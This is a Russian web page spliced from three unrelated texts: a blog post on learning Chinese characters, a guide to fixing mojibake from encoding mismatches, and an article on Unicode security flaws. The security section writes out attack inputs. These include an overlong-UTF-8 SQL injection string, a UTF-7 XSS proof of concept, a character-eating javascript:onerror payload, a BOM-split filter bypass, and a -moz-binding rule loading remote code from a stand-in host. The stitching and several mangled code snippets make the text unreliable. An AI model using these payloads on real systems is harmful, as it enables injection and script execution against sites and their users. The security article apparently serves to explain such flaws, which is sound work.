Как исправить появившиеся иероглифы. Маскарад символов: unicode-ориентированные аспекты безопасности

Внимание!!! Приготовьтесь, статья будет длинной. Можно устать и уснуть, поэтому сядьте поудобнее, возьмите чашечку кофе и начнем.


Изучение китайских иероглифов - это важная часть изучения самого языка. Существует множество способов, средств и идей о том, как их изучать. В этой статье речь пойдет о некоторых из них. Разные люди, в зависимости от своих целей, учат их по-разному.
Например, кто-то хочет просто знать определенное количество знаков. Другие хотят читать текст на иероглифах. Иные желают не только читать, но и уметь писать иероглифы. А еще есть те, кто собирается делать записи по - китайски или писать тексты. Опять же, писать от руки, потому что набирать их компьютерным способом намного проще.
Стоит отметить, что современная занятость человека не позволяет в полной мере окунуться в процесс учебы без отвлечений. Особенно трудно тем, кто изучает язык самостоятельно и "когда получится". Подобрать способ изучения иероглифов стоит индивидуально. Тем, кто ограничен во времени наверняка хочется найти удобное приложение для своего девайса, чтобы в свободную минуту "погрызть гранит науки". Ну а для тех, кто учит язык как специальность должно подойти все, но кто же не хочет сократить сроки на приобретение навыков?
Добавлю, что выучить иероглиф может для разных людей означать разное. В полном смысле выучить иероглиф значит знать его произношение, написание и значение. Итак, какими же способами можно развить все эти навыки и освоить китайские иероглифы? Начнем с бумажных, потом электронные.

1. Прописывание иероглифов.

Традиционный способ изучения иероглифов, опробованный миллионами китайцев. Нужно помнить, что они прописывают иероглифы в течение всего курса школы. Это далеко не пара лет. Итак, плюсы метода:
- задействована зрительная, мышечная память;
- вырабатывается навык письма, почерк;
- изучение иероглифов в произвольном порядке;
- возможность вернуться к написанному сразу;
- другие.

Из минусов можно выделить:
- требуется бумага и орудие письма;
- требуется немало времени на прописывание одного иероглифа;
- нужно хранить много бумаги;
- нужно место и время для качественного подхода к упражнениям.
- другие.

Прописывать иероглифы можно в обычной тетради обычной ручкой. Те, кто основательнее подходят к этому, прописывают в специальных прописях. О том, как писать иероглифы, а также о примерах элементарных прописей, была . Более продвинутый метод прописывания - это прописывание по шаблонам. Они тоже бывают разными.

1. Шаблон. Выглядеть может по-разному, но суть одна. Поверх текста наложена калька, по которой и прописываются иероглифы. Проблема в том, что в таком шаблоне нет произношения иероглифов, то есть тренируется только распознавание знакомых и каллиграфия.


2. Шаблон. Прописывание происходит по указанной последовательности черт. Приводится и значение иероглифов. Произношение остается за кадром.

3. Есть и другие прописи, долго описывать. Вот ссылки, можно скачать и распечатать.

2. Ассоциативный метод .

Суть метода проста. Придумать на что похож иероглиф и связать каким-либо образом этот образ со значением и произношением иероглифа. Была . Можно записать все ассоциации в тетрадь и возвращаться к ним для повторения.
Сюда же можно включить освоение иероглифов с помощью ключей. Разница в том, что ассоциации станут не абстрактными, а конкретными. Но сначала нужно освоить ключи. Писал об этом в этой статье , а еще было и в этой статье . Можно комбинировать ассоциации и прописывание иероглифов. Но тоже времени требуется немало. Зато надолго запоминается.
Еще об этом, с другой стороны, было в этой статье .

3. Карточки.

Они же флеш-карты. Суть в том, что на карточках пишутся или просто распечатываются иероглифы. На обратной стороне их значение, произношение, либо и то и это. Не всем помогает, занимает место, требует кучу времени на классификацию, и желательно хорошую зрительную память. Вот несколько моих старых коллекций:


Кстати, некоторым помогает, когда они учат по программу из учебников, в которых приводятся последовательности написания иероглифов. Это могут быть учебники Задоенко, Кондрашевского и др.


Наверное. опытный студент китайского языка сможет привести еще и другие "бумажные" способы освоения и запоминания иероглифов. Но я решил пока остановиться на том, что изложено выше. Перейдем к электронным.

1. Флеш-карты .

Народ понял, что несколько тысяч иероглифов - это большой объем карточек. Целый ящик! Можно и в электронном виде их делать. Создали всякие программы, которые на разных платформах воспроизводят эти карточки.

Кого интересует такой способ, стоит познакомиться с программой . Тоже на любителя. Интервальное повторение картинок также связано с зрительной памятью. Не всем одинаково хорошо дается. Зато не только японский и китайский можно учить. К тому же, приложение доступно для разных платформ.

Есть и другие приложения такого же характера. Вот, например, на сайте "Магазета" приводилось одно такое приложение: ссылка на сатью .

2. Процессоры иероглифов .

Когда-то пробовал знакомиться с иероглифами с помощью программы NJStar. Особо не помогло, но кто-то может найти ей полезное применение на своем компьютере. Вот . В этой программе можно вводить иероглифы мышью.

3. Онлайн переводчики .

В переводчике Гугл есть функция ввода с помощью тачскрина. Там можно прописывать пальцем иероглифы прямо на вашем мобильном девайсе. Требуется интернет. Нет четкой программы запоминания, просто возможность писать не на бумаге. То же самое касается ввода мышью иероглифов в интернет словарях, таких как www.bkrs.info . Рядом со строкой поиска есть кнопка ручного ввода, ее иногда не видно из-за темы вокруг строки, но она точно есть с правой. Можно вводить мышью иероглиф и смотреть его значение, иногда и слушать произношение. Избавляет от прописывания на бумаге.

4. Другие программы .

На просторах интернета можно найти и другой софт. Я не тестировал всего, поэтому не смогу описать многое. Но хочу сказать пару слов про систему МАО. Мне не понравился подход к запоминанию иероглифов, но я все же решил привести ее в этой статье, так как есть приложение "МАОcard". Да и кто-то может оценить эту систему выше меня. Ссылка...

Продолжаем...

Можно еще всякого написать об этом, но в целях экономии хотя бы своего времени приведу ссылку на страницу с Магазеты , где автор приводит целую кучу полезного софта для разных платформ. Есть среди всего и приложения для изучения и повторения иероглифов. Но я хотел бы все же выделить, что одно дело иероглифы повторять или вспоминать, и совсем другое - запоминать. Кажется, это имеет смысл, когда либо знаешь слова, но не умеешь читать, либо учишь сразу и слова, и иероглифы. Для этих целей подходят специальные приложения.

Я бы хотел отдельно упомянуть приложение для платформы Андроид "Chineseskill" . Оно развивается и, на мой взгляд, сочетает в себе много достоинств. Изучение иероглифов идет параллельно с изучением лексики и грамматики. Писать и произносить слова придется . Иногда вручную, пальцем. Может это то, что Вам нужно?..

Другим приложением, которое я советую для изучающих китайский и,в частности, иероглифы, является приложение "Chinese Writer". Я уже делал краткое описание этого приложения . Но скажу, что даже при наличии нескольких неудобств, типа бегущей строки в нижней части экрана с информацией о иероглифе, приложение отличное. Иероглифы можно посмотреть, поучиться их писать, проверить себя в игре, и другое. На мой взгляд, надо иметь такое в своем девайсе... Есть платная и бесплатная версии.

Заключение.

В заключение скажу, что не смог бы всего перечислить, что стояло на моем смартфоне и планшете. Я пробовал разные программы, но увы - нет идеальной. А может я не нашел пока. Но то, что я перечислил выше стоит попробовать. Так или иначе, все это лишь средства ввести иероглифы в свою память. А вот как она их воспримет, захочет ли потом назад их выдавать - это уже другой вопрос. Поэтому, кроме изучения самих иероглифов, рекомендую хорошо высыпаться и тренировать память. Спасибо, что дочитали до конца, теперь ваше представление о вопросе, наверняка, шире.

Вопрос пользователя

Здравствуйте.

Подскажите пожалуйста, почему у меня некоторые странички в браузере отображают вместо текста иероглифы, квадратики и не пойми что (ничего нельзя прочесть). Раньше такого не было.

Заранее спасибо...

Доброго времени суток!

Действительно, иногда при открытии какой-нибудь интернет-странички вместо текста показываются различные "крякозабры" (как я их называю), и прочитать это нереально.

Происходит это из-за того, что текст на страничке написан в одной кодировке (более подробно об этом можете узнать из ), а браузер пытается открыть его в другой. Из-за такого рассогласования, вместо текста - непонятный набор символов.

Попробуем исправить это...

Браузер

Вообще, раньше Internet Explorer часто выдавал подобные крякозабры, 👉 (Chrome, Яндекс-браузер, Opera, Firefox) - довольно неплохо определяют кодировку, и ошибаются очень редко. 👌

Скажу даже больше, в некоторых версиях браузера уже убрали выбор кодировки, и для "ручной" настройки этого параметра нужно скачивать дополнения, или лезть в дебри настроек за 10-ток галочек...

И так, предположим браузер неправильно определили кодировку и вы увидели следующее (как на скрине ниже 👇).

👉 Кстати!

Чаще всего путаница бывает между кодировками UTF (Юникод) и Windows-1251 (большинство русскоязычных сайтов выполнены в этих кодировках).

  1. нажать левый ALT - чтобы сверху показалось меню. Нажать меню "Вид" ;
  2. выбрать пункт "Кодировка текста" , далее выбрать Юникод . И, ву-а-ля - иероглифы на странички сразу же стали обычным текстом (скрин ниже 👇) !

Еще один совет : если в браузере не можете найти, как сменить кодировку (а дать инструкцию для каждого браузера - вообще нереально!) , я рекомендую попробовать открыть страничку в другом браузере. Очень часто другая программа открывает страницу так, как нужно.

Текстовые документы

Очень много вопросов по крякозабрам задаются при открытии каких-нибудь текстовых документов. Особенно старых, например, при чтении Readme в какой-нибудь программе прошлого века (скажем, к играм) .

Разумеется, что многие современные блокноты просто не могут прочитать DOS "овскую кодировку, которая использовалась ранее. Чтобы решить сию проблему, рекомендую использовать редактор Bread 3.

Bred 3

Простой и удобный текстовый блокнот. Незаменимая вещь, когда нужно работать со старыми текстовыми файлами.

Bred 3 за один клик мышкой позволяет менять кодировку и делать не читаемый текст читаемым! Поддерживает кроме текстовых файлов довольно большое разнообразие документов. В общем, рекомендую! ✌

Попробуйте открыть в Bred 3 свой текстовый документ (с которым наблюдаются проблемы) . Пример показан у меня на скрине ниже.

Для работы с текстовыми файлами различных кодировок также подойдет еще один блокнот - Notepad++. Вообще, конечно, он больше подходит для программирования, т.к. поддерживает различные подсветки, для более удобного чтения кода.

Пример смены кодировки показан ниже: чтобы прочитать текст, достаточно в примере ниже, достаточно было сменить кодировку ANSI на UTF-8.

WORD"овские документы

Очень часто проблема с крякозабрами в Word связана с тем, что путают два формата Doc и Docx . Дело в том, что с 2007 года в Word (если не ошибаюсь) появился формат Docx (позволяет более сильнее сжимать документ, чем Doc, да и надежнее защищает его).

Так вот, если у вас старый Word , который не поддерживает этот формат - то вы, при открытии документа в Docx , увидите иероглифы и ничего более.

Решения есть два:

  1. скачать на сайте Microsoft спец. дополнение, которое позволяет открывать в старом Word новые документы (с 2020г. дополнение с офиц. сайта удалено) . Только из личного опыта могу сказать, что открываются далеко не все документы, к тому же сильно страдает разметка документа (что в некоторых случаях очень критично) ;
  2. использовать 👉 (правда, тоже разметка в документе будет страдать);
  3. обновить Word до современной версии.

Так же при открытии любого документа в Word (в кодировке которого он "сомневается"), он на выбор предлагает вам самостоятельно указать оную. Пример показан на рисунке ниже, попробуйте выбрать:

  1. Widows (по умолчанию);
  2. MS DOS;
  3. Другая...

Окна в различных приложениях Windows

Бывает такое, что какое-нибудь окно или меню в программе показывается с иероглифами (разумеется, прочитать что-то или разобрать - нереально) .

  1. Русификатор . Довольно часто официальной поддержки русского языка в программе нет, но многие умельцы делают русификаторы. Скорее всего, на вашей системе - данный русификатор работать отказался. Поэтому, совет простой: попробовать поставить другой;
  2. Переключение языка . Многие программы можно использовать и без русского, переключив в настройках язык на английский. Ну в самом деле: зачем вам в какой-то утилите, вместо кнопки "Start" перевод "начать" ?
  3. Если у вас раньше текст отображался нормально, а сейчас нет - попробуйте 👉 , если, конечно, у вас есть точки восстановления;
  4. Проверить настройки языков и региональных стандартов в Windows, часто причина кроется именно в них (👇).

Языки и региональные стандарты в Windows

Местоположение - Россия

И во вкладке "Дополнительно" установите язык системы "Русский (Россия)" .

После этого сохраните настройки и перезагрузите ПК. Затем вновь проверьте, нормально ли отображается интерфейс нужной программы.

И напоследок, наверное, для многих это очевидно, и все же некоторые открывают определенные файлы в программах, которые не предназначены для этого: к примеру в обычном блокноте пытаются прочитать файл DOCX или PDF.

Естественно, в этом случае вы вместо текста будут наблюдать за крякозабрами, используйте те программы, которые предназначены для данного типа файла (WORD 2016+ и Adobe Reader для примера выше).

Думаю, ты не раз встречал эксплойты, которые классифицируются как Unicode, подыскивал нужную кодировку для отображения страницы, радовался очередным кракозябрам то тут, то там. Да мало ли чего еще! Если ты хочешь узнать, кто заварил всю эту кашу, и расхлебывает по сей день, пристегни ремни и читай дальше.

Как говорится, - «инициатива наказуема» и, как всегда, виноваты во всем оказались американцы.

А дело было так. На заре расцвета компьютерной индустрии и распространения интернета появилась необходимость в универсальной системе представления символов. И в 60 годах прошлого века появляется ASCII - «American Standard Code for Information Interchange» (Американский Стандартный Код для Обмена Информацией), знакомая нам 7-битная кодировка символов. Последний восьмой неиспользованный бит был оставлен как управляющий бит для настройки ASCIIтаблицы под свои нужды каждого заказчика компьютера отдельного региона. Такой бит позволял расширить ASCII-таблицу для использования своих символов каждого языка. Компьютеры поставлялись во многие страны, где уже и использовали свою, модифицированную таблицу. Но позже такая фича переросла в головную боль, так как обмен данными между ЭВМ стал достаточно проблематичным. Новые 8-битные кодовые страницы были несовместимы между собой - один и тот же код мог означать несколько разных символов. Для разрешения этой проблемы ISO («International Organization for Standardization», Международная Организация по Стандартизации) предложила новую таблицу, а именно - «ISO 8859».

Позже этот стандарт переименовали в UCS («Universal Character Set», Универсальный Набор Символов). Однако, к моменту первого выпуска UCS появился Unicode. Но так как цели и задачи обоих стандартов совпадали, было принято решение объединить усилия. Что ж, Unicode взял на себя нелегкую задачу - дать каждому символу уникальное обозначение. На данный момент последняя версия Unicode - 5.2.

Хочу предупредить - на самом-то деле история с кодировками весьма мутная. Разные источники предоставляют разные факты, так что не стоит зацикливаться на одном, достаточно быть в курсе того, как все образовывалось и следовать современным стандартам. Мы ведь, надеюсь, не историки.

Краш-курс unicode

Прежде чем углубляться в тему, хотелось бы пояснить, что представляет собой Unicode в техническом плане. Цели данного стандарта мы уже знаем, осталось лишь матчасть подлатать.

Итак, что есть Unicode? Проще говоря - это способ представить любой символ в виде определенного кода для всех языков мира. Последняя версия стандарта вмещает порядка 1 100 000 кодов, которые занимают пространство от U+0000 до U+10FFFF. Но тут будь внимателен! Unicode строго определяет то, что есть код для символа и то, как этот код будет представлен в памяти. Коды символов (допустим, 0041 для символа «A») не имеют какоголибо значения, а вот для представления этих кодов байтами есть своя логика, этим занимаются кодировки. Консорциум Unicode предлагает следующие виды кодировок, называемые UTF (Unicode Transformation Formats, «Форматы Преобразования Unicode»). А вот и они:

  • UTF-7: данную кодировку не рекомендуется использовать из соображений безопасности и совместимости. Описана в RFC 2152. Не является частью Unicode, однако была представлена данным консорциумом.
  • UTF-8: самая распространенная кодировка в веб-пространстве. Является переменной, шириной от 1 до 4 байт. Обратно совместима со протоколами и программами, использующими ASCII. Занимает пределы от U+0000 до U+007F.
  • UTF-16: использует переменную ширину от 2 до 4 байт. Чаще всего встречается применение 2 байт. UCS-2 является этой же кодировкой, только с фиксированной шириной 2 байта и ограничено пределами BMP.
  • UTF-32: использует фиксированную ширину в 4 байта, то есть 32 бита. Однако используется только 21 бит, остальные 11 забиты нулями. Пусть данная кодировка и громоздка в плане пространства, но считается наиболее эффективной по быстродействию за счет 32-битной адресации в современных компьютерах.

Ближайший аналог UTF-32 - кодировка UCS-4, но сегодня используется реже.

Несмотря на то, что в UTF-8 и UTF-32 можно представить чуть больше двух миллиардов символов, было принято решение ограничиться миллионом с хвостиком - ради совместимости с UTF-16. Все пространство кодов сгруппировано в 17 плоскостей, где в каждой по 65536 символов. Наиболее часто употребляемые символы расположены в нулевой, базовой плоскости. Именуется как BMP - Basic MultiPlane.
Поток данных в кодировках UTF-16 и UTF-32 может быть представлен двумя способами - прямым и обратным порядком байтов, называются UTF-16LE/UTF-32LE, UTF16BE/UTF-32BE, соответственно. Как ты и догадался, LE - это little-endian, а BE - big-endian. Но надо как-то уметь различать эти порядки. Для этого используют метку порядка байтов U+FEFF, в английском варианте - BOM, «Byte Order Mask». Данный BOM может попадаться и в UTF-8, но там он ничего не значит.

Ради обратной совместимости Юникоду пришлось вместить в себя символы существующих кодировок. Но тут возникает другая проблема - появляется много вариантов идентичных символов, которые как-то нужно обрабатывать. Поэтому нужна так называемая «нормализация», после которой уже можно сравнить две строки. Всего существует 4 формы нормализации:

  • Normalization Form D (NFD): каноническая декомпозиция.
  • Normalization Form C (NFC): каноническая декомпозиция + каноническая композиция.
  • Normalization Form KD (NFKD): совместимая декомпозиция.
  • Normalization Form KC (NFKC): совместимая декомпозиция + каноническая композиция.

Теперь подробнее про эти странные слова.

Юникод определяет два вида равенств строки - каноническая и по совместимости.

Первое предполагает разложение сложного символа на несколько отдельных фигур, которые в целом образуют исходный символ. Второе равенство подыскивает ближайший подходящий по виду символ. А композиция - это объединение символов из разных частей, декомпозиция - обратное действие. В общем, глянь на рисунок, все станет на место.

В целях безопасности нормализацию следует делать до того, как строка поступит на проверку каким-либо фильтрам. После данной операции размер текста может меняться, что может иметь негативные последствия, но об этом чуть позже.

В плане теории на этом все, я многое еще не рассказал, но надеюсь ничего важного не упустил. Unicode невообразимо обширен, сложен, по нему выпускают толстые книги, и очень нелегко сжато, доступно и полноценно объяснить основы столь громоздкого стандарта. В любом случае, для более глубокого понимания следует пройтись по боковым ссылкам. Итак, когда картина с Юникодом стала более-менее ясна, можем ехать дальше.

Зрительный обман

Наверняка ты слышал про IP/ARP/DNSспуфинг и хорошо представляешь, что это такое. Но есть еще так называемый «визуальный спуфинг» - это тот самый старый метод, которым активно пользуются фишеры для обмана жертв. В таких случаях применяют использование схожих букв, наподобие «o» и «0», «5» и «s». Это наиболее распространенный и простой вариант, его и легче заметить. Как пример можно привести фишинг-атаку 2000 года на PayPal, о которой даже упомянуто на страницах www.unicode.org . Однако к нашей теме Юникода это мало относится.

Для более продвинутых ребят на горизонте появился Unicode, а точнее - IDN, что является аббревиатурой от «Internationalized Domain Names» (Интернационализованные Доменные Имена). IDN позволяет использовать символы национального алфавита в доменных именах. Регистраторы доменных имен позиционируют это как удобную вещь, мол, набирай доменное имя на своем родном языке! Однако, удобство это весьма сомнительное. Ну да ладно, маркетинг - не наша тема. Зато представь, какое это раздолье для фишеров, сеошников, киберсквоттеров и прочей нечисти. Я говорю об эффекте, что называется IDN-спуфинг. Данная атака относится к категории визуального спуфинга, в английской литературе это еще называют как «homograph attack», то есть, атаки с использованием омографов (слов, одинаковых в написании).

Да, при наборе букв никто не ошибется и не наберет заведомо ложный домен. Но ведь чаще всего пользователи щелкают по ссылкам. Если хочешь убедиться в эффективности и простоте атаки, то посмотри на картинку.

В качестве некоторой панацеи был придуман IDNA2003, но уже в этом, 2010 году, вступил в силу IDNA2008. Новый протокол должен был решить многие проблемы молодого IDNA2003, однако внес новые возможности для спуфинг-атак. Снова возникают проблемы совместимости - в некоторых случаях один и тот же адрес в разных браузерах может вести на разные сервера. Дело в том, что Punycode может преобразован по-разному для разных браузеров - все будет зависеть от того, спецификации какого стандарта поддерживаются.
Проблема зрительного обмана на этом не заканчивается. Unicode и тут приходит на службу спамерам. Речь про спам-фильтры - исходные письма прогоняются спамерами через Unicode-обфускатор, который подыскивает схожие между собой символы разных национальных алфавитов по так называемому UC-Simlist («Unicode Similarity List», список схожих символов Unicode). И все! Антиспам фильтр пасует и уже не может в такой каше символов распознать нечто осмысленное, зато юзер вполне способен прочитать текст. Не отрицаю, что решение для такой проблемы нашли, однако флаг первенства за спамерами. Ну и еще кое-что из этой же серии атак. Ты точно уверен, что открываешь некий текстовый файл, а не имеешь дело с бинарником?

На рисунке, как видишь, имеем файл с названием evilexe. txt. Но это фальш! Файл на самом-то деле называется eviltxt.exe. Спросишь, что это еще за фигня в скобках? А это, U+202E или RIGHT-TO-LEFT OVERRIDE, так называемый Bidi (от слова bidirectional) - алгоритм Юникода для поддержки таких языков, как арабский, иврит и прочих. У последних ведь письменность справа налево. После вставки символа Юникода RLO, все, что идет после RLO, мы увидим в обратном порядке. Как пример данного метода из реальной жизни могу привести спуфинг-атаку в Mozilla Firfox - cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376 .

Обход фильтров - этап № 1

На сегодня уже известно, что нельзя обрабатывать длинные формы (non-shortest form) UTF-8, так как это является потенциальной уязвимостью. Однако разработчиков PHP этим не вразумить. Давай разберемся, что собой представляет данный баг. Возможно ты помнишь про неправильную фильтрацию и utf8_decode(). Вот этот случай мы и рассмотрим более детально. Итак, мы имеем такой PHP-код:

// ... шаг 1
$id = mysql_real_escape_string($_GET["id"]);
// ... шаг 2
$id = utf8_decode($id);
// ... шаг 3
mysql_query("SELECT "name" FROM "deadbeef"
WHERE "id"="$id"");

На первый взгляд, тут все правильно. Как бы так, да не совсем - здесь присутствует SQL-инъекция. Представим, что мы передали следующую строку:

/index.php?id=%c0%a7 OR 1=1/*

На первом шаге строка не содержит ничего такого, что могло бы предвещать беду. Но второй шаг является ключевым, первые два символа строки преобразуются в апостроф. Ну, а на третьем ты уже вовсю шуршишь по базе данных. Так что же произошло на втором шаге, с чего это вдруг символы изменились? Попробуем разобраться, дальше читай внимательно.

Если ты преобразуешь %c0 и %a7 в их двоичные значения, то получишь 11000000 и 10100111 соответственно. Апостроф имеет двоичное значение 00100111. Теперь посмотри на таблицу кодировки UTF-8.

Первые нули и единицы сообщают о длине символа и принадлежности байтов. Пока что наш апостроф влезает в один байт, но мы хотим его увеличить до двух (как минимум, но можно и больше), то есть, чтобы принял вид как во второй строке.

Тогда нужно взять такой первый октет, чтобы первые три бита были 110, что сообщает декодеру, что строка шире, чем 1 байт. А со вторым октетом ничуть не сложней - первые два нуля мы заменим на 1 и 0. Вуаля! У нас получилось 11000000 10100111, что и есть %c0%a7.

Возможно, данная уязвимость встречается и не на каждом шагу, но стоит учитывать, что если функции расположены именно в таком порядке, то не помогут ни addslashes(), ни mysql_real_escape_string(), ни magic_ quotes_qpc. И так можно прятать не только апострофы, но и многие другие символы. Тем более, что не только PHP неправильно обрабатывает UTF-8 строки. Учитывая вышеприведенные факторы, диапазон атаки значительно расширяется.

Обход фильтров - этап № 2

Уязвимость данного вида заключается во вполне легальной маскировке ядовитой строки под видом другой кодировки. Посмотри на следующий код:

/**
* UTF-7 XSS PoC
*/
header("Content-Type: text/html;
charset=UTF-7");
$str = "";
$str = mb_convert_encoding($str,
"UTF-7");
echo htmlentities($str);

Собственно, происходит тут следующее - первая строка посылает браузеру заголовок с сообщением о том, какая нам нужна кодировка. Следующая пара просто преобразовывает строку в такой вид:

ADw-script+AD4-alert("UTF-7 XSS")+ADsAPA-/script+AD4

На последней - нечто наподобие фильтра. Фильтр может быть и сложней, но нам достаточно показать успешный обход для большинства примитивных случаев. Из этого следует, что нельзя позволять пользователю контролировать кодировки, ведь даже такой код является потенциальной уязвимостью.

Если сомневаешься, то выдавай ошибку и прекращай работу, а во избежание проблем правильно принуждать вывод данных к кодировке UTF-8. Из практики хорошо известен случай атаки на Google, где хакеру удалось провести XSS-атаку, изменив вручную кодировку на UTF-7.

Первоисточник атаки на Google при помощи данного метода - sla.ckers.org/forum/read.php?3,3109 .

Обход фильтров - этап № 3

Юникод предупреждает: чрезмерное употребление символов вредит вашей безопасности. Поговорим о таком эффекте, как «поедание символов». Причиной успешной атаки может послужить неправильно работающий декодер: такой как, например, в PHP. Стандарт пишет, что в случае, если при преобразовании встретился левый символ (ill-formed), то желательно заменять сомнительные символы на знаки вопроса, пробел - на U+FFFD, прекращать разбор и т.д., но только не удалять последующие символы. Если все-таки нужно удалить символ, то надо делать это осторожно.

Баг заключается в том, что PHP сжует неправильный по религии UTF-8 символ вместе со следующим. А это уже может привести к обходу фильтра с последующим выполнением JavaScript-кода, либо к SQL-инъекции.

В оригинальном сообщении об уязвимости, в блоге хакера Eduardo Vela aka sirdarckcat, есть вполне удачный пример, его и рассмотрим, только немного модифицируем. По сценарию, пользователь может вставлять картинки в свой профиль, имеется такой код:

// ... куча кода, фильтрация …
$name = $_GET["name"];
$link = $_GET["link"];
$image = " src="http://$link" />";
echo utf8_decode($image);
А теперь посылаем такой запрос:
/?name=xxx%f6&link=%20
src=javascript:onerror=alert(/
xss/)//

После всех преобразований, PHP нам вернет вот что:

Что же случилось? В переменную $name попал неверный UTF-8 символ 0xF6, который после конвертирования в utf8_decode() съел 2 последующих символа, включая закрывающую кавычку. Огрызок http:// браузер проигнорировал, а следующий JavaScript-код был успешно выполнен. Данную атаку я тестировал в Opera, но ничто не мешает сделать ее универсальной, это лишь показательный пример того, как в некоторых случаях можно обойти защиту.

Из данной серии атак, но без странного поведения функций PHP, можно привести другой пример обхода фильтров. Представим, что WAF/IPS не пропускает строки из черного списка, но некоторая последующая обработка строк декодера удаляет символы, инородные ASCII-диапазону. Тогда такой код беспрепятственно поступит в декодер:

aler\uFEFFt("XSS")

И уже без \uFEFF окажется там, где хотел бы видеть ее злоумышленник. Устранить такую проблему можно просто продумав логику обработки строк - как всегда, фильтр должен работать с теми данными, которые находятся на последнем этапе их обработки. Кстати, если помнишь, то \uFEFF - это BOM, о котором я уже писал. Данной уязвимости был подвержен FireFox - mozilla.org/security/announce/2008/mfsa2008-43.html

Обход фильтров - этап № 4

Можно сказать, что вид атаки, о котором сейчас будет речь - визуальный спуфинг, атака для всякого рода IDS/IPS, WAF и прочих фильтров. Я говорю о так называемом «bestfit mapping» алгоритме Юникода. Данный метод «наилучшего подходящего» был придуман для тех случаев, когда конкретный символ при преобразовании из одной кодировки в другую отсутствует, а вставить что-то надо. Вот тогда и ищется такой, который визуально мог бы быть похож на нужный.

Пусть данный алгоритм и придуман Юникодом, однако, это лишь очередное временное решение, которое будет жить сколь угодно долго. Все зависит от масштаба и скорости перехода на Юникод. Сам стандарт советует прибегать к помощи best-fit mapping только в крайнем случае. Поведение преобразования не может быть строго регламентировано и вообще как-либо обобщено, так как слишком много разных вариаций схожести даже для одного символа - все зависит от символа, от кодировок.

Допустим, символ бесконечности может быть преобразован в восьмерку. Выглядят похоже, но имеют совершенно разноеназначение. Или еще пример - символ U+2032 преобразуется в кавычку. Думаю, ты понимаешь, чем это чревато.

Специалист по ИБ, Крис Вебер (Chris Weber), проводил эксперименты по этой теме - как обстоят дела в социальных сетях с фильтрами и алгоритмом отображения best-fit? На своем сайте он описывает пример хорошей, но недостаточной фильтрации одной соцсети. В профиле можно было загружать свои стили, которые тщательно проверялись.

Разработчики позаботились о том, чтобы не пропустить такую строку: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Однако Крис смог обойти данную защиту, заменив самый первый символ на минус, код которого U+2212. После работы алгоритма best-fit, минус заменялся на знак с кодом U+002D, знак, который позволял срабатывать CSS-стилю, тем самым открывая возможности для проведения активной XSS-атаки. Стоит избегать любой магии, а тут ее очень много. До самого последнего момента нельзя предугадать, к чему приведет применение этого алгоритма. В самом лучшем случае может быть потеря символов, в худшем - выполнение JavaScript кода, доступ к произвольным файлам, SQL-инъекция.

Переполнение буфера

Как я уже писал, следует быть осторожным с нормализацией ввиду аномального сужения и расширения строки. Второе последствие часто ведет к переполнению буфера. Программисты неверно сравнивают длины строк, забывая про особенности Юникода. В основном, к ошибке приводит игнорирование или непонимание следующих фактов:

  1. Строки могут расшириться при смене регистра - из верхнего в нижний или обратно.
  2. Форма нормализации NFC не всегда является «собирательной», некоторые символы могут быть и разобраны.
  3. При преобразовании символов из одного в другой текст может снова вырасти. То есть, насколько строка сильно расширится - зависит от самих данных и кодировки.

В принципе, если ты знаешь что собой представляет переполнение буфера, то тут все как всегда. Ну почти:). Просто, если речь про строки в формате Юникод, то символы чаще всего будут дополнены нулями. Ради примера приведу три строки.

Обычная строка:

В кодировке ASCII:

В кодировке Unicode:

\x41\x00\x42\x00\x43\x00

Нуль-байтов не будет там, где исходные строки выходят за пределы диапазона ASCII-строк, так как занимают полный диапазон. Как тебе известно, нуль-байты являются препятствием для успешной работы шеллкода. Именно поэтому долгое время считалось, что Unicode-атаки невозможны. Однако этот миф был разрушен Крисом Анли (Chris Anley), он придумал так называемый «венецианский метод», позволяющий заменить нульбайты другими символами. Но эта тема заслуживает отдельной статьи, и уже есть немало хороших публикаций - достаточно погуглить «venetian exploit». Еще можешь полистать статью 45 номера спецвыпуска журнала Хакер - «Unicode-Buffer Overflows», там хорошо расписано о написании Unicode-шеллкода.

Прочие радости

Да-да, на этом не исчерпываются уязвимости, связанные с Юникодом Я лишь описал те, которые попадают под основные, хорошо известные классификации. Есть и другие проблемы безопасности - от назойливых багов и до реальных брешей. Это могут быть атаки визуального характера, допустим, если система регистрации неверно обрабатывает логин пользователя, то можно создать учетку из символов, визуально неотличимых от имени жертвы, таким образом облегчая фишинг или атаку социального инжиниринга. А может быть и еще хуже - система авторизации (не путать с аутентификацией) дает права с повышенными привилегиями, не различая набор символов в логине атакующего и жертвы.

Если спуститься на уровень приложений или операционки, то тут себя проявляют баги в неверно построенных алгоритмах, связанных с конвертированием - плохая нормализация, чрезмерно длинные UTF-8, удаление и поедание символов, некорректное преобразование символов и т.д. Это все ведет к самому широкому спектру атак - от XSS до удаленного выполнения кода.

В общем, в плане фантазии Юникод тебя никак не ограничивает, а наоборот, только поддерживает. Многие из вышеприведенных атак нередко являются комбинированными, сочетая в себе обходы фильтров с атакой на конкретную цель. Совмещение приятного с полезным, так сказать. Тем более, что стандарт не стоит на месте и кто знает, к чему приведут новые расширения, так как были и такие, которые позже вообще были исключены ввиду проблем с безопасностью.

Happy end?!

Итак, как ты понимаешь, проблемы с Юникодом до сих пор являются проблемами номер один и причинами самых разношерстных атак. А корень зла тут один - недопонимание или игнорирование стандарта. Конечно, даже самые известные вендоры грешат этим, но это не должно расслаблять. Наоборот, стоит задуматься о масштабе проблемы. Ты уже успел убедиться в том, что Юникод достаточно коварен и жди подвох, если дашь слабину и вовремя не заглянешь в стандарт. Кстати, стандарт регулярно обновляется и поэтому не стоит полагаться на древние книги или статьи - неактуальная информация хуже ее отсутствия. Но я надеюсь, что данная статья не оставила тебя равнодушным к проблеме.

Punycode - костылек совместимости

DNS не позволяет использовать какие-либо иные символы кроме латиницы, цифр и дефиса в названиях доменов, для DNS используется «урезанная» ASCII-таблица.

Поэтому, ради обратной совместимости, приходится такой многоязычный Unicode-домен преобразовывать в старый формат. Эту задачу на себя берет браузер пользователя. После преобразований домен превращается в набор символов с префиксом «xn--» или как его еще называют - «Punycode». К примеру, домен «хакер.ru» после преобразования в Punycode выглядит так: «xn--80akozv.ru». Больше по Punycode читай в RFC 3492.

Info

IDNA - IDN in Applications (IDN в приложениях), это протокол, который решает многие проблемы, позволяя использовать многоязычные доменные имена в приложениях. Был придуман организацией IETF, на данный момент существует только RFC старой версии IDNA2003 - RFC 3490. Новый стандарт несовместим с предыдущим.

Links

